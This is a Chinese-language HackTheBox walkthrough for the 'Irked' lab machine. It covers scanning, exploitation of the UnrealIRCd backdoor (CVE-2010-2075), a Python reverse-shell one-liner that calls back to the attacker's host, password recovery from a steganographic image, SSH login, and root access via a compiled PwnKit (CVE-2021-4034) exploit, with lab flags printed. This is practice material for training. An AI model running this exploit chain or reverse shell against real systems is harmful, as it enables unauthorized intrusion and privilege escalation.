HackTheBox - Irked Write Up

文章描述了一次针对10.10.10.117IP的网络侦查过程,包括端口扫描、服务识别和Web信息收集。发现UnrealIRCdIRC服务器的多个开放端口,并尝试利用CVE-2010-2075进行远程代码执行。通过隐写术解密密码,升级到djmardov用户,然后利用CVE-2021-4034提升至root权限,最终获取到root的flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

IP:10.10.10.117

OS:Linux

DIFFICULTY:Easy

0x01 Information Gathering

端口扫描+指纹识别

naabu -host 10.10.10.117 -p 1-65535 -c 100 --rate 2500 -nmap-cli 'nmap -sV -T4'
                  __
  ___  ___  ___ _/ /  __ __
 / _ \/ _ \/ _ \/ _ \/ // /
/_//_/\_,_/\_,_/_.__/\_,_/

                projectdiscovery.io

[INF] Current naabu version 2.1.5 (outdated)
[INF] Running host discovery scan
[INF] Running SYN scan with CAP_NET_RAW privileges
[INF] Found 7 ports on host 10.10.10.117 (10.10.10.117)
10.10.10.117:22
10.10.10.117:49086
10.10.10.117:8067
10.10.10.117:6697
10.10.10.117:111
10.10.10.117:65534
10.10.10.117:80
[INF] Running nmap command: nmap -sV -T4 -p 8067,6697,111,65534,80,22,49086 10.10.10.117
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-08 23:22 CST
Nmap scan report for bogon (10.10.10.117)
Host is up (0.35s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind 2-4 (RPC #100000)
6697/tcp  open  irc     UnrealIRCd
8067/tcp  open  irc     UnrealIRCd
49086/tcp open  status  1 (RPC #100024)
65534/tcp open  irc     UnrealIRCd
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.89 seconds

Web信息收集

查看前端源代码,暂未发现有用的信息

目录扫描,暂未发现有用的信息

dirsearch -u http://10.10.10.117/ -x 403
  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/10.10.10.117/-_23-05-08_02-22-17.txt

Error Log: /root/.dirsearch/logs/errors-23-05-08_02-22-17.log

Target: http://10.10.10.117/

[02:22:18] Starting: 
[02:23:26] 200 -   72B  - /index.html                                       
[02:23:33] 301 -  313B  - /manual  ->  http://10.10.10.117/manual/          
[02:23:33] 200 -  626B  - /manual/index.html
# Apache HTTP 服务器 2.4 文档
http://10.10.10.117/manual/en/index.html

根据nmap扫描结果,端口号6697806765534都是开放的,服务类型为IRC,软件版本为UnrealIRCd

6697/tcp  open  irc     UnrealIRCd
8067/tcp  open  irc     UnrealIRCd
65534/tcp open  irc     UnrealIRCd

UnrealIRCd是一种常见的IRC服务器软件,用于运行Internet中的IRC(Internet Relay Chat)聊天室。这些端口通常用于IRC的加密连接,也称作IRC over TLS或者IRC Secure。

历史漏洞搜索

0x02 Exploitation

UnrealIRCd曾经存在一个远程代码执行漏洞CVE-2010-2075,攻击者可以利用该漏洞通过特定的IRC命令和参数在服务器上执行任意的Shell命令,接下来尝试进行漏洞利用

UnrealIRCd 3.2.8.1 - Remote Downloader/Execute

exp:https://github.com/XorgX304/UnrealIRCd-3.2.8.1-RCE

# 本地开启监听
nc -nvlp 65001

# 执行exp
python2 pwnunrealirc.py 10.10.14.33 65001 10.10.10.117 6697

由于这个shell的交互性不是很好,所以我们使用以下命令重新反弹出一个新的shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.33",65002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

执行以下命令尝试获取user的flag,找到两个文件但是均没有权限去读取,user.txt在djmardov用户的家目录中,所以接下来需要尝试先提权到该用户

find / -name "user.txt" -exec wc -c {} \; -exec cat {} \;

0x03 Privilege Escalation

1.提升至普通用户****权限

/home/djmardov/Documents目录下发现存在.backup文件

文件内容如下:

Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss

经过分析这段内容可能有以下含义:

  • Super elite: 表示非常高级、非常优秀、非常专业等意思。在计算机安全领域中,这个术语通常用来形容高技能的黑客或计算机犯罪团体。
  • steg: 这个词可能是从英文单词steganography演化而来,表示隐写术。 隐写术是指一种隐藏信息的技术,将信息嵌入到看似普通的图像、音频或视频文件中,使得信息不易被察觉。

因此,.backup 文件中的 Super elite steg 可能暗示着该备份文件的内容采用了某种高级隐写术,需要特殊技能才能发现其中的数据。

此时想起了Web页面中的那张图片,将其保存到本地,尝试读取隐写的数据

wget http://10.10.10.117/irked.jpg

使用Steghide查看图片中隐写的内容

steghide extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss

cat pass.txt       
Kab6h+m+bbp2J:HG

接下来通过SSH使用该密码登录djmardov用户并获取user的flag

sshpass -p 'Kab6h+m+bbp2J:HG' ssh djmardov@10.10.10.117 -o StrictHostKeyChecking=no

flag: 1bf413bcd0fe2ce9d2c3cddd625d1568

2.提升至root权限

2.1 上传linpeas.sh并运行,结果如下

python3 -m http.server 1111
wget http://10.10.14.33:1111/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

2.2 使用CVE-2021-4034漏洞进行权限提升

# 查询系统架构,发现为32位
uname -a
Linux irked 3.16.0-6-686-pae #1 SMP Debian 3.16.56-1+deb8u1 (2018-05-08) i686 GNU/Linux

# 查询glibc的版本
ldd --version
ldd (Debian GLIBC 2.19-18+deb8u10) 2.19

# 询问chatGPT以下内容
我想使用docker启动以下glibc版本的镜像,命令是什么
GLIBC 2.19

# 本地启动相同版本的docker镜像
docker run -it ubuntu:14.04 /bin/bash

# 在镜像中安装编译等环境
apt-get update
apt-get install -y build-essential
apt-get install -y unzip
apt-get install -y vim
gcc --version

# 安装32位的开发库
apt-get install -y gcc-multilib

# 将exp复制到镜像中
docker cp CVE-2021-4034.zip ada63b0aa51f:/tmp
unzip CVE-2021-4034.zip

# 由于目标系统处理器架构为i686,所以需要修改Makefile内容添加-m32并进行编译
vim Makefile
CFLAGS=-Wall 替换为 CFLAGS=-Wall -m32

# 编译
make

# 重新打包成tar.gz格式
tar -czvf CVE-2021-4034.tar.gz CVE-2021-4034

# 将打包好的压缩包复制到本地
docker cp ada63b0aa51f:/tmp/CVE-2021-4034.tar.gz .

# 上传至靶机解压并运行
python3 -m http.server 1111
wget http://10.10.14.33:1111/CVE-2021-4034.tar.gz
tar -xzvf CVE-2021-4034.tar.gz
cd CVE-2021-4034
chmod +x cve-2021-4034
./cve-2021-4034

2.3获得root的flag

cat /root/root.txt

flag: 889d9ba531291d715be8a4f404ff108e


如果您觉得我的文章有帮助到您,也可以点赞、留言或者分享给更多人哦。
这样可以让更多的人看到我们的交流,并且可以激励我继续完成更多靶场WP。
非常感谢您的支持和鼓励,期待能够与您继续保持联系。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Gh0stX

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值